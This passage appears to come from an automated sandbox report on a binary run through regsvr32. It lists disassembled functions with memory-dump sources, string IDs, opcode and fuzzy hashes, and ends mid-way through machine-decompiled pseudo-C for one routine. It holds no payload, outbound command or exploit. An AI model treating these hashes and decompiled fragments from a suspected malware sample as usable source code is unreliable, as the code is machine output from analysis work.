                                                                                                        • Instruction Fuzzy Hash: 4B41087061C7C08BD768DF58D48561AFBE2FBD8304F00496DE88A8B395C7B49858CB86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02412288 Relevance: 2.6, Strings: 2, Instructions: 110COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: sB$f
                                                                                                        • API String ID: 0-2207894448
                                                                                                        • Opcode ID: ef0937d0b3b0031ac3e38a03def6ec541aece3ca80d61044dac505e9a5e6854f
                                                                                                        • Instruction ID: fe24841a49ebdfa4d580e27f08fe52f1bf8ae68210f4de54fede5614f691ef0b
                                                                                                        • Opcode Fuzzy Hash: ef0937d0b3b0031ac3e38a03def6ec541aece3ca80d61044dac505e9a5e6854f
                                                                                                        • Instruction Fuzzy Hash: B851F0715047498FEB58DF38D8494993BF9FF42308F50516AEC5E8A2A2D7B9A819CB02
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240F60C Relevance: 2.6, Strings: 2, Instructions: 103COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: :`$gx
                                                                                                        • API String ID: 0-1572031083
                                                                                                        • Opcode ID: 9b4b6f3c1ce9cb88df1f171ad618c7538b0b4517eb4a5c770489514985f37735
                                                                                                        • Instruction ID: 0e3cc046bbc504ff4f8adc189b2f8c5e388350b9e16990851f7d5ab5e4f859a3
                                                                                                        • Opcode Fuzzy Hash: 9b4b6f3c1ce9cb88df1f171ad618c7538b0b4517eb4a5c770489514985f37735
                                                                                                        • Instruction Fuzzy Hash: 7B51C4B080074E8FDB48DF68C8865CE7FB0FB68398F514619F856A6250D3B496A4CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02404D70 Relevance: 2.6, Strings: 2, Instructions: 103COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: D}$a
                                                                                                        • API String ID: 0-1501324146
                                                                                                        • Opcode ID: b61740df076a4e58ab1aaf0a6bbe65992fb08f0906d7841c93a6c47cc50c744f
                                                                                                        • Instruction ID: c4543bae603d3834d16e7e6453c540e9ffb932745713a7760ed36163fec82285
                                                                                                        • Opcode Fuzzy Hash: b61740df076a4e58ab1aaf0a6bbe65992fb08f0906d7841c93a6c47cc50c744f
                                                                                                        • Instruction Fuzzy Hash: 27317A30618B448BD75CDF28C19952ABBE1FBD8344F405A2EF58AC73A0CB70D845CB86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02420D20 Relevance: 2.6, Strings: 2, Instructions: 101COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 7Gl$BM
                                                                                                        • API String ID: 0-1566119768
                                                                                                        • Opcode ID: 0c8a053c30b17d750471f1f43800e87a1b0fab7ef6de505c2cba19c0f95f1e20
                                                                                                        • Instruction ID: 3b7539a813a2ef2f27731c7b4cca84fba72254be15cefede5205e52b26d83b0f
                                                                                                        • Opcode Fuzzy Hash: 0c8a053c30b17d750471f1f43800e87a1b0fab7ef6de505c2cba19c0f95f1e20
                                                                                                        • Instruction Fuzzy Hash: D451C2B080474A8FCB48CF68C4964CEBFB4FB58398F259619E816A6260D37496A4CFD4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02428768 Relevance: 2.6, Strings: 2, Instructions: 97COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: `S7G$br
                                                                                                        • API String ID: 0-1602624217
                                                                                                        • Opcode ID: 26145bc1015ecb1842bde0a513ab0170e8306a52e6cd2a2dc68d646dae1b6f31
                                                                                                        • Instruction ID: 028da2dc6f31d91c6090abdfa097ace2452115d805f79a59cfc9abe8ac372257
                                                                                                        • Opcode Fuzzy Hash: 26145bc1015ecb1842bde0a513ab0170e8306a52e6cd2a2dc68d646dae1b6f31
                                                                                                        • Instruction Fuzzy Hash: 2A41D47090074E8BDB48CF68C8964EE7FB0FB58354F50461DE856A6390D7B896A5CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02424D84 Relevance: 2.6, Strings: 2, Instructions: 96COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: @T$on
                                                                                                        • API String ID: 0-2912281258
                                                                                                        • Opcode ID: 3ad0ee0075794bac393d768d78b80174df82749c7780eb2331ff9a22a3ae7cb7
                                                                                                        • Instruction ID: 463a2e79b3ed2258e0ba1690b82d3e10269aa811a899c6d5fc2d594c21e76136
                                                                                                        • Opcode Fuzzy Hash: 3ad0ee0075794bac393d768d78b80174df82749c7780eb2331ff9a22a3ae7cb7
                                                                                                        • Instruction Fuzzy Hash: 0651C47081038E8FDB48CF68D88A5CEBFF0FF58358F109619E869A6250D3B49664CF94
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02417B68 Relevance: 2.6, Strings: 2, Instructions: 95COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: U6b$.
                                                                                                        • API String ID: 0-260677711
                                                                                                        • Opcode ID: 5bbd8e80dc59011474f260387f08b19d2759c45068a47da632616ef90891b509
                                                                                                        • Instruction ID: 7796c82125f18162ecdb99f08cc2360cc6b73cbbb4206d9c5c8cd951a4e41317
                                                                                                        • Opcode Fuzzy Hash: 5bbd8e80dc59011474f260387f08b19d2759c45068a47da632616ef90891b509
                                                                                                        • Instruction Fuzzy Hash: 54310270208B448FC768DF2DD58561ABBF1FB9A740F10496EEA89C7365D772D844CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02427DB8 Relevance: 2.6, Strings: 2, Instructions: 95COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: '$Ng(>
                                                                                                        • API String ID: 0-3022928773
                                                                                                        • Opcode ID: 63ddaededffbdd4255bbf07a261cb1f7bea08adb192f7987e33e57dbf7ea5b8f
                                                                                                        • Instruction ID: 1e3879c0b69f6835095490fded82dbd5c8270275f0bf955acdc0827ad47e5c58
                                                                                                        • Opcode Fuzzy Hash: 63ddaededffbdd4255bbf07a261cb1f7bea08adb192f7987e33e57dbf7ea5b8f
                                                                                                        • Instruction Fuzzy Hash: FF51A2B190034E8FDF48CF64C88A5DE7FB0FB68398F214619E855A6250D3B896A5CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240A198 Relevance: 2.6, Strings: 2, Instructions: 90COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: K}$U[
                                                                                                        • API String ID: 0-1952786773
                                                                                                        • Opcode ID: 9f5608a220fefd821cee27cadb1d950a00c5bc29e6e9b3c9d21a18ea1c24878e
                                                                                                        • Instruction ID: 306c1e534999a2018a0e96b58be2ba4b4eaae62cbd98780498c0f60fe82f4c5a
                                                                                                        • Opcode Fuzzy Hash: 9f5608a220fefd821cee27cadb1d950a00c5bc29e6e9b3c9d21a18ea1c24878e
                                                                                                        • Instruction Fuzzy Hash: CC41E5B091074E8FCB48CF68C88A5CEBBB0FF58358F15561DE85AA62A0D3B49655CF84
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02403824 Relevance: 2.6, Strings: 2, Instructions: 89COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: f($lz
                                                                                                        • API String ID: 0-2159268743
                                                                                                        • Opcode ID: b362c19087fdcb98c4eac515354c475a8303adfa6d64fd1516081da2b431e573
                                                                                                        • Instruction ID: 75785802191d9ece7b687d2c3dc87586ebc449daeb22b53ca338154fef870512
                                                                                                        • Opcode Fuzzy Hash: b362c19087fdcb98c4eac515354c475a8303adfa6d64fd1516081da2b431e573
                                                                                                        • Instruction Fuzzy Hash: 6E41E9706107888BCB4CDF69C8965D93FA1FB48358B56532DFC4AA73A0D378D950CB85
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024122C8 Relevance: 2.6, Strings: 2, Instructions: 86COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: [A$f
                                                                                                        • API String ID: 0-4183805669
                                                                                                        • Opcode ID: a81fa58d7b5e9dc61b792d3e6b6fa43cecd8321b1f1fb1b665992e130e833f28
                                                                                                        • Instruction ID: adae67e6612dc2ab21812eb8c8b359a9665734558f16d46f32e945451f205a22
                                                                                                        • Opcode Fuzzy Hash: a81fa58d7b5e9dc61b792d3e6b6fa43cecd8321b1f1fb1b665992e130e833f28
                                                                                                        • Instruction Fuzzy Hash: EF41547150878D8FDB18CF38D4494993BF9BF42304F54116EEC5D8A2A2C7B9E419CB02
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240C800 Relevance: 2.6, Strings: 2, Instructions: 78COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: +Im_$Zt
                                                                                                        • API String ID: 0-2721426291
                                                                                                        • Opcode ID: 29d02481b538a181ee4d3df62990eb5736aed03d7a1bdb552ecbd9d531d0283c
                                                                                                        • Instruction ID: 5806c6cb0735a4469bc6cc422bc09a84d249fa8f4f656a5d697bed5b6144a8f4
                                                                                                        • Opcode Fuzzy Hash: 29d02481b538a181ee4d3df62990eb5736aed03d7a1bdb552ecbd9d531d0283c
                                                                                                        • Instruction Fuzzy Hash: E33190745183808B8748DF28D05A51ABBE1BBCD308F508B1DF8CAAA291D738D6158B4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241C6CC Relevance: 2.6, Strings: 2, Instructions: 71COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: %*$H~
                                                                                                        • API String ID: 0-2966777657
                                                                                                        • Opcode ID: 1628f1295115f34372dfe3f7ad22f94b92da33611bb0e4bf2771259c68263a9b
                                                                                                        • Instruction ID: a37ecefb37e1f25f5f9b9be502e21e4622755bf984d1f04d8ad8718ada9a2b06
                                                                                                        • Opcode Fuzzy Hash: 1628f1295115f34372dfe3f7ad22f94b92da33611bb0e4bf2771259c68263a9b
                                                                                                        • Instruction Fuzzy Hash: 44319F705187848BD7A4DF29C089A4BBBE2FB94708F908A1DE4CDC7354DBB49889DB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024036FC Relevance: 2.6, Strings: 2, Instructions: 71COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ;$dB|4
                                                                                                        • API String ID: 0-835793151
                                                                                                        • Opcode ID: 336a0f6871cc0839c1891df4b8ea75839a0d72cea4f696164714c787f116b876
                                                                                                        • Instruction ID: 793b63db5ba4a43e2e696965c793b49de963e3a23990a2e7367b152310a9fde6
                                                                                                        • Opcode Fuzzy Hash: 336a0f6871cc0839c1891df4b8ea75839a0d72cea4f696164714c787f116b876
                                                                                                        • Instruction Fuzzy Hash: 42316A715187858BE348DF28C49641ABBE0FB8D30CF504B1DF4CAA6291D7B9D606CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242803C Relevance: 2.6, Strings: 2, Instructions: 68COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: :BR$`m|
                                                                                                        • API String ID: 0-2084761963
                                                                                                        • Opcode ID: c86a910794b99387b1e827bb57008d035b85f1269f45838a73dfdb548bdb18ab
                                                                                                        • Instruction ID: a072dd12b89a52bb239a9218e71d3cac2b5c238bacfe3fe9284a93609e99adee
                                                                                                        • Opcode Fuzzy Hash: c86a910794b99387b1e827bb57008d035b85f1269f45838a73dfdb548bdb18ab
                                                                                                        • Instruction Fuzzy Hash: 98210670519B849BD388CF2AC88A41BBBE1FB98354F901A2DF496C73A0D774D944CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024056BC Relevance: 2.6, Strings: 2, Instructions: 60COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: `8$oo
                                                                                                        • API String ID: 0-1789113731
                                                                                                        • Opcode ID: 93936368866e8ea9984f41d98eff6165b4bc0ac6a5c0ddfb4009887b9c284a0f
                                                                                                        • Instruction ID: 340cd16e13130dd4fec4555bd42106758ff52c8f7ca0641c81baec826237bd3d
                                                                                                        • Opcode Fuzzy Hash: 93936368866e8ea9984f41d98eff6165b4bc0ac6a5c0ddfb4009887b9c284a0f
                                                                                                        • Instruction Fuzzy Hash: 33317FB452C381AFD389DF29D19981BBBF1BB89304F806A2DF9C687250D374D445CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02401650 Relevance: 2.6, Strings: 2, Instructions: 53COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$$
                                                                                                        • API String ID: 0-3297284484
                                                                                                        • Opcode ID: 8cbc43dd32f8f0b3eb58f251e1ac53a6f25b1feabf6d5f36d043013a16ec9783
                                                                                                        • Instruction ID: de05bdac1ad6476cf742245aa5080a774c1d6ec10043fba87ca9966dae576aef
                                                                                                        • Opcode Fuzzy Hash: 8cbc43dd32f8f0b3eb58f251e1ac53a6f25b1feabf6d5f36d043013a16ec9783
                                                                                                        • Instruction Fuzzy Hash: 4E213BB56187848BD349DF28D15A51ABBE0BB8D30CF840B1DF4CAA7260D7789645CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800497EC Relevance: 1.6, Strings: 1, Instructions: 357COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 62%
                                                                                                        			E000000011800497EC(long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r10, void* __r11) {
				void* __rdi;
				void* _t127;
				void* _t151;
				signed int _t158;
				void* _t162;
				unsigned int _t167;
				signed char _t168;
				signed int _t171;
				void* _t175;
				signed int _t180;
				signed short _t187;
				void* _t190;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t199;
				signed long long _t250;
				void* _t268;
				intOrPtr _t279;
				signed int** _t282;
				signed int** _t286;
				signed int*** _t288;
				signed long long _t294;
				signed int** _t300;
				void* _t301;
				signed int* _t302;
				long long _t306;
				void* _t309;
				signed long long _t310;
				void* _t312;
				void* _t317;
				void* _t318;
				signed long long _t324;
				void* _t326;
				signed int*** _t327;
				void* _t329;

				_t318 = __r11;
				_t317 = __r10;
				_t312 = __r8;
				_t304 = __rsi;
				 *((long long*)(_t309 + 0x10)) = __rbx;
				 *((long long*)(_t309 + 0x18)) = _t306;
				 *((long long*)(_t309 + 0x20)) = __rsi;
				_push(_t301);
				_t310 = _t309 - 0x50;
				_t250 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t310 + 0x40) = _t250 ^ _t310;
				_t268 = __rcx;
				_t158 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t6 = _t301 - 0x37; // 0x41
				_t191 = _t6;
				_t7 = _t301 - 0x77; // 0x1
				r13d = _t7;
				_t8 = _t301 - 0x20; // 0x58
				_t187 = _t8;
				_t192 = _t158 - 0x64;
				if (_t192 > 0) goto 0x800498a3;
				if (_t192 == 0) goto 0x800498cd;
				_t193 = _t158 - 0x53;
				if (_t193 > 0) goto 0x8004986c;
				if (_t193 == 0) goto 0x80049914;
				if (_t193 == 0) goto 0x8004985f;
				if (_t193 == 0) goto 0x80049887;
				if (_t193 == 0) goto 0x8004985f;
				_t162 = _t158 - _t191 - r13d;
				if (_t193 == 0) goto 0x8004985f;
				if (_t162 != r13d) goto 0x8004993e;
				E0000000118004C394(_t175, 0x78, __rcx, __rcx, _t306);
				goto 0x80049937;
				if (_t162 == _t187) goto 0x8004992c;
				if (_t162 == 0x5a) goto 0x80049896;
				if (_t162 == 0x61) goto 0x8004985f;
				if (_t162 != 0x63) goto 0x8004993e;
				E0000000118004D1BC(_t162, _t162 - 0x63, __rcx, __rcx, __rsi, _t306, _t312);
				goto 0x80049937;
				E0000000118004AA68(_t162, _t162 - 0x63, __rcx, __rcx, _t304);
				goto 0x80049937;
				_t199 = _t162 - 0x6f;
				if (_t199 > 0) goto 0x800498fd;
				if (_t199 == 0) goto 0x800498dd;
				if (_t199 == 0) goto 0x8004985f;
				if (_t199 == 0) goto 0x8004985f;
				if (_t199 == 0) goto 0x8004985f;
				if (_t199 == 0) goto 0x800498cd;
				if (_t162 - 0x65 - r13d - r13d - 2 != 5) goto 0x8004993e;
				E0000000118004DBBC(_t162 - 0x65 - r13d - r13d - 2 - 5, _t268, _t304, _t306, _t317);
				goto 0x80049937;
				 *(_t268 + 0x28) =  *(_t268 + 0x28) | 0x00000010;
				E000000011800397EC(0, _t268, _t268, _t304, _t312, _t317);
				goto 0x80049937;
				_t167 =  *(_t268 + 0x28);
				if ((r13b & _t167 >> 0x00000005) == 0) goto 0x800498f1;
				asm("bts ecx, 0x7");
				 *(_t268 + 0x28) = _t167;
				E00000001180037EEC(0, _t268, _t268, _t304, _t312, _t317);
				goto 0x80049937;
				if (_t167 == 0x70) goto 0x8004991e;
				if (_t167 == 0x73) goto 0x80049914;
				if (_t167 == 0x75) goto 0x800498d1;
				if (_t167 != 0x78) goto 0x8004993e;
				goto 0x8004992f;
				E0000000118004E638(_t167 - 0x78, _t268, _t268, _t304, _t306);
				goto 0x80049937;
				 *((intOrPtr*)(_t268 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t268 + 0x34)) = 0xb;
				_t180 = r13b;
				_t127 = E0000000118003B0EC(_t180, _t268, _t268, _t304, _t312, _t317);
				r15d = 0;
				if (_t127 != 0) goto 0x80049945;
				goto 0x80049c51;
				if ( *((intOrPtr*)(_t268 + 0x474)) != 2) goto 0x8004995b;
				if ( *((intOrPtr*)(_t268 + 0x470)) == r13d) goto 0x80049c4e;
				if ( *((intOrPtr*)(_t268 + 0x38)) != r15b) goto 0x80049c4e;
				_t168 =  *(_t268 + 0x28);
				 *((intOrPtr*)(_t310 + 0x34)) = 0;
				 *((short*)(_t310 + 0x38)) = 0;
				r11d = 0x20;
				if ((r13b & 0) == 0) goto 0x800499b9;
				if ((r13b & 0) == 0) goto 0x8004999b;
				 *((short*)(_t310 + 0x34)) = _t318 + 0xd;
				goto 0x800499b6;
				if ((r13b & _t168) == 0) goto 0x800499a7;
				goto 0x80049994;
				if ((r13b & 0) == 0) goto 0x800499b9;
				 *((intOrPtr*)(_t310 + 0x34)) = r11w;
				_t294 = _t324;
				r8d =  *(_t268 + 0x3a) & 0x0000ffff;
				r10d = 0xffdf;
				if ((r10w & (r8w & 0xffffffff) - _t187) != 0) goto 0x800499de;
				r9b = r13b;
				if ((r13b & 0) != 0) goto 0x800499e1;
				r9b = r15b;
				r12d = 0x30;
				if (r9b != 0) goto 0x800499fe;
				if (0 == 0) goto 0x80049a1c;
				 *(_t310 + 0x34 + _t294 * 2) = r12w;
				if (r8w == _t187) goto 0x80049a10;
				if (r8w != _t191) goto 0x80049a13;
				 *((short*)(_t310 + 0x36 + _t294 * 2)) = _t187 & 0x0000ffff;
				_t190 =  *((intOrPtr*)(_t268 + 0x2c)) - _t180 -  *(_t268 + 0x48);
				if ((_t168 & 0x0000000c) != 0) goto 0x80049a90;
				r9d = r15d;
				if (_t190 <= 0) goto 0x80049a90;
				r8d =  *(_t268 + 0x20);
				_t279 =  *((intOrPtr*)(_t268 + 0x460));
				if ( *((intOrPtr*)(_t279 + 0x10)) !=  *((intOrPtr*)(_t279 + 8))) goto 0x80049a5a;
				if ( *((intOrPtr*)(_t279 + 0x18)) == r15b) goto 0x80049a50;
				r8d = r8d + 1;
				goto 0x80049a54;
				r8d = r8d | 0xffffffff;
				 *(_t268 + 0x20) = r8d;
				goto 0x80049a7e;
				 *(_t268 + 0x20) = _t312 + 1;
				 *((intOrPtr*)(_t279 + 0x10)) =  *((intOrPtr*)(_t279 + 0x10)) + _t324;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t268 + 0x460)))))) = r11w;
				 *((long long*)( *((intOrPtr*)(_t268 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t268 + 0x460)))) + 2;
				r8d =  *(_t268 + 0x20);
				if (r8d == 0xffffffff) goto 0x80049a90;
				r9d = r9d + r13d;
				if (r9d - _t190 < 0) goto 0x80049a34;
				_t67 = _t268 + 0x20; // 0x40
				_t302 = _t67;
				r8d = _t180;
				 *((long long*)(_t310 + 0x20)) =  *((intOrPtr*)(_t268 + 8));
				_t69 = _t268 + 0x460; // 0x480
				_t327 = _t69;
				_t70 = _t310 + 0x34; // 0x64
				E0000000118005181C(_t312 + 1, _t190, _t268, _t327, _t304, _t306, _t302);
				if ((r13b & 0) == 0) goto 0x80049b1c;
				if ((r13b &  *(_t268 + 0x28) >> 0x00000002) != 0) goto 0x80049b1c;
				r8d = r15d;
				if (_t190 <= 0) goto 0x80049b1c;
				_t282 =  *_t327;
				if ( *((intOrPtr*)(_t282 + 0x10)) !=  *((intOrPtr*)(_t282 + 8))) goto 0x80049af3;
				if ( *((intOrPtr*)(_t282 + 0x18)) == r15b) goto 0x80049aec;
				goto 0x80049aef;
				 *_t302 =  *_t302 + 0x00000001 | 0xffffffff;
				goto 0x80049b0d;
				 *_t302 = _t70 + 1;
				 *((intOrPtr*)(_t282 + 0x10)) =  *((intOrPtr*)(_t282 + 0x10)) + _t324;
				 *( *( *_t327)) = r12w;
				 *( *_t327) =  &(( *( *_t327))[0]);
				if ( *_t302 == 0xffffffff) goto 0x80049b1c;
				r8d = r8d + r13d;
				if (r8d - _t190 < 0) goto 0x80049ad5;
				if ( *((intOrPtr*)(_t268 + 0x4c)) != r15b) goto 0x80049bcd;
				if ( *(_t268 + 0x48) - r15d <= 0) goto 0x80049bcd;
				_t307 =  *((intOrPtr*)(_t268 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t268 + 8)) + 0x28)) != r15b) goto 0x80049b42;
				E0000000118002F1E0( *_t327, _t268,  *((intOrPtr*)(_t268 + 8)), _t70, _t304, _t329);
				r9d = 0;
				if ( *(_t268 + 0x48) == r9d) goto 0x80049be9;
				_t89 = _t310 + 0x30; // 0x60
				 *(_t310 + 0x30) = r9w;
				_t151 = E0000000118005D094( *(_t268 + 0x28) >> 2, _t191, _t268, _t89,  *((intOrPtr*)(_t268 + 0x40)), _t302, _t304, _t307,  *((intOrPtr*)( *((intOrPtr*)(_t307 + 0x18)) + 8)),  *((intOrPtr*)(_t268 + 8)), _t326, _t324);
				r9d = 0;
				if (_t151 <= 0) goto 0x80049bc5;
				_t286 =  *_t327;
				r8d =  *(_t310 + 0x30) & 0x0000ffff;
				if ( *((intOrPtr*)(_t286 + 0x10)) !=  *((intOrPtr*)(_t286 + 8))) goto 0x80049b9f;
				if ( *((intOrPtr*)(_t286 + 0x18)) == r9b) goto 0x80049b9a;
				 *_t302 =  *_t302 + r13d;
				goto 0x80049bb7;
				 *_t302 =  *_t302 | 0xffffffff;
				goto 0x80049bb7;
				 *_t302 =  *_t302 + r13d;
				 *((intOrPtr*)(_t286 + 0x10)) =  *((intOrPtr*)(_t286 + 0x10)) + _t324;
				 *( *( *_t327)) = r8w;
				 *( *_t327) =  &(( *( *_t327))[0]);
				r15d = r15d + r13d;
